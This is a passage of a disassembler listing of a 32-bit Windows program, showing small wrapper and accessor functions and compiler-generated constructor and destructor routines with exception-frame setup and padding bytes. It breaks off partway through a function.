; CODE XREF: sub_401B86j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D1B neg al sbb eax, eax inc eax retn 4 sub_415330 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415360 proc near ; CODE XREF: sub_401B31j mov eax, [ecx] retn sub_415360 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415380 proc near ; CODE XREF: sub_401140j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_415380 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153A0 proc near ; CODE XREF: sub_401537j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401BF4 add esp, 8 retn 4 sub_4153A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153D0 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_430332 pop ecx retn 8 sub_4153D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153F0 proc near ; CODE XREF: sub_401573j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401ED8 add esp, 8 retn 8 sub_4153F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415420 proc near ; CODE XREF: sub_401C26j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_415420 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415440 proc near ; CODE XREF: sub_40130Cj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_415440 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415460 proc near ; CODE XREF: sub_401E24j mov eax, [ecx] retn sub_415460 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415480 proc near ; CODE XREF: sub_401717j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_415480 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4154A0 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401BF4 add esp, 8 retn 4 sub_4154A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4154D0 proc near ; CODE XREF: sub_40179Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_430332 pop ecx retn 8 sub_4154D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4154F0 proc near ; CODE XREF: sub_401CCBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401F50 add esp, 8 retn 8 sub_4154F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415520 proc near ; CODE XREF: sub_4013A2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_415520 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415540 proc near ; CODE XREF: sub_401591j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_415540 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415560 proc near ; CODE XREF: sub_401294j mov eax, [ecx] retn sub_415560 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415580 proc near ; CODE XREF: sub_401D1Bj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_415580 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4155B0 proc near ; CODE XREF: sub_401230j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011A4 add esp, 8 test eax, eax jz short locret_4155CB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4155CB: ; CODE XREF: sub_4155B0+11j retn sub_4155B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415600 proc near ; CODE XREF: sub_401ED8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011A4 add esp, 8 test eax, eax jz short locret_41561B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41561B: ; CODE XREF: sub_415600+11j retn sub_415600 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415650 proc near ; CODE XREF: sub_401F50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011A4 add esp, 8 test eax, eax jz short locret_41566B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41566B: ; CODE XREF: sub_415650+11j retn sub_415650 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 0ED7E52BCh dd 0C647E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 7EBF2968h, 0AD26E800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh) dd 0E9FAFCB9h, 0C41DE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_415720: ; CODE XREF: _294ADE7B:00401B27j push 0FFFFFFFFh push 7CFD7Eh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+592FBh] mov dword ptr [esp+10h], 13h call sub_402045 lea ecx, [esi+592E4h] mov byte ptr [esp+10h], 12h call sub_4011F9 lea ecx, [esi+592CFh] mov byte ptr [esp+10h], 11h call sub_4011F9 lea ecx, [esi+592BAh] mov byte ptr [esp+10h], 10h call sub_4011F9 lea ecx, [esi+592A5h] mov byte ptr [esp+10h], 0Fh loc_41578B: ; DATA XREF: sub_411820+2o call sub_4011F9 lea ecx, [esi+591BAh] mov byte ptr [esp+10h], 0Eh call sub_401DA7 lea ecx, [esi+591A9h] mov byte ptr [esp+10h], 0Dh call sub_4016C2 lea ecx, [esi+5916Fh] mov byte ptr [esp+10h], 0Ch call sub_4017BC lea ecx, [esi+590E1h] mov byte ptr [esp+10h], 0Bh call sub_4010FA lea ecx, [esi+590AFh] mov byte ptr [esp+10h], 0Ah call sub_401DE3 lea ecx, [esi+48A9Eh] mov byte ptr [esp+10h], 9 call sub_40207C lea ecx, [esi+48A75h] mov byte ptr [esp+10h], 8 call sub_40193D lea ecx, [esi+4878Bh] mov byte ptr [esp+10h], 7 call sub_401366 lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401208 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401D4D lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_40148D lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401A05 lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401B72 lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401852 mov byte ptr [esp+10h], 0 lea ecx, [esi+3Eh] call sub_4013E8 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401235 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_415900: ; CODE XREF: _294ADE7B:00401D11j push 0FFFFFFFFh push 7E7EBFh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_401F28 lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_401569 lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_401267 lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_401E97 lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_401915 lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_40150F lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_4015C3 lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_4016D1 lea ecx, [esi+4878Bh] mov byte ptr [esp+14h], 7 call sub_401609 lea ecx, [esi+48A75h] mov byte ptr [esp+14h], 8 call sub_401767 lea ecx, [esi+48A9Eh] mov byte ptr [esp+14h], 9 call sub_4013C0 lea ecx, [esi+48BBBh] mov byte ptr [esp+14h], 0Ah call sub_401BEF lea ecx, [esi+590AFh] call sub_401253 lea ecx, [esi+590E1h] mov byte ptr [esp+14h], 0Bh call sub_401B81 lea ecx, [esi+5916Fh] mov byte ptr [esp+14h], 0Ch call sub_401F82 lea ecx, [esi+591A9h] mov byte ptr [esp+14h], 0Dh call sub_401064 lea ecx, [esi+591BAh] mov byte ptr [esp+14h], 0Eh call sub_40106E lea ecx, [esi+592A5h] mov byte ptr [esp+14h], 0Fh call sub_4013CF lea ecx, [esi+592BAh] mov byte ptr [esp+14h], 10h call sub_4013CF lea ecx, [esi+592CFh] mov byte ptr [esp+14h], 11h call sub_4013CF mov byte ptr [esp+14h], 12h lea ecx, [esi+592E4h] call sub_4013CF lea eax, [esp+7] lea ecx, [esi+592FBh] push eax mov byte ptr [esp+18h], 13h call sub_401A19 mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415B00 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 7F3F5Fh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401A1E lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_415B00 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415B70 proc near ; CODE XREF: sub_401852j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 3F9FAFh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_401EFB lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_401EFB lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_401EFB lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_401EFB lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_401EFB mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_4019F1 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_4019F1 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_4019F1 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_4019F1 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_4019F1 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_4019F1 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_4019F1 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_4019F1 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_4019F1 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_4019F1 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_4019F1 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_4019F1 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_4019F1 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_4019F1 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_4019F1 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_4019F1 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_4019F1 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_4019F1 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_4019F1 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_4019F1 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_4019F1 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_4019F1 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_4019F1 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_4019F1 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_4019F1 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_4019F1 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_4019F1 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_4019F1 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_4019F1 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_4019F1 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_4019F1 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_4019F1 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_4019F1 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_4019F1 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_4019F1 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_4019F1 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_4019F1 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_4019F1 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_4019F1 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_4019F1 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_415B70 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416090 proc near ; CODE XREF: sub_40148Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 5FCFD7h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_416090 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416130 proc near ; CODE XREF: sub_401D4Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 6FE7EBh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_416130 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416200 proc near ; CODE XREF: sub_401208j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 37F3F5h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+468EEh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+468C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+46892h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+46864h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+46836h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+46808h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_416200 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4162D0 proc near ; CODE XREF: sub_40207Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 5BF9FAh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4162D0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416390 proc near ; CODE XREF: sub_401DE3j add ecx, 4 jmp sub_401023 sub_416390 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163B0 proc near ; CODE XREF: sub_4010FAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4163B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4163B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416430 proc near ; CODE XREF: sub_401DA7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 6DFCFDh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_416430 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164D0 proc near ; CODE XREF: sub_40150Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 76FE7Eh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401190 lea ecx, [esi+4] call sub_4013CF lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_4016A9 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_4016A9 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_4016A9 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_4016A9 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_437050 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4164D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416570 proc near ; CODE XREF: sub_4015C3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 7B7F3Fh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401190 lea ecx, [esi+4] call sub_4016A9 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_4016A9 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_4016A9 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_4016A9 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_4016A9 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_4016A9 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_4016A9 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_437054 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_416570 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416640 proc near ; CODE XREF: sub_4016D1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 7DBF9Fh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401190 lea ecx, [esi+46808h] call sub_4016A9 lea ecx, [esi+46836h] mov [esp+14h+var_4], 0 call sub_4016A9 lea ecx, [esi+46864h] mov byte ptr [esp+14h+var_4], 1 call sub_4016A9 lea ecx, [esi+46892h] mov byte ptr [esp+14h+var_4], 2 call sub_4016A9 lea ecx, [esi+468C0h] mov byte ptr [esp+14h+var_4], 3 call sub_4016A9 lea ecx, [esi+468EEh] mov byte ptr [esp+14h+var_4], 4 call sub_4016A9 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_437058 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_416640 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416710 proc near ; CODE XREF: sub_401767j push esi mov esi, ecx call sub_401D2F mov dword ptr [esi], offset off_43705C mov eax, esi pop esi retn sub_416710 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416740 proc near ; CODE XREF: sub_4013C0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 7EDFCFh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401190 lea ecx, [esi+4] call sub_4016A9 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_4016A9 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_4016A9 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_4016A9 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_4016A9 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_4016A9 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_437068 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_416740 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416800 proc near ; CODE XREF: sub_401BEFj push esi mov esi, ecx call sub_401190 mov dword ptr [esi], offset off_43706C mov eax, esi pop esi retn sub_416800 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416830 proc near ; CODE XREF: sub_401253j push esi mov esi, ecx call sub_401190 lea ecx, [esi+4] call sub_4016A9 mov dword ptr [esi], offset off_437070 mov eax, esi pop esi retn sub_416830 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416860 proc near ; CODE XREF: sub_401B81j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_416860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401190 lea ecx, [esi+4] call sub_4016A9 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_4016A9 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_4016A9 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_437074 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_416860 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168E0 proc near ; CODE XREF: sub_40106Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 3F6FE7h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi 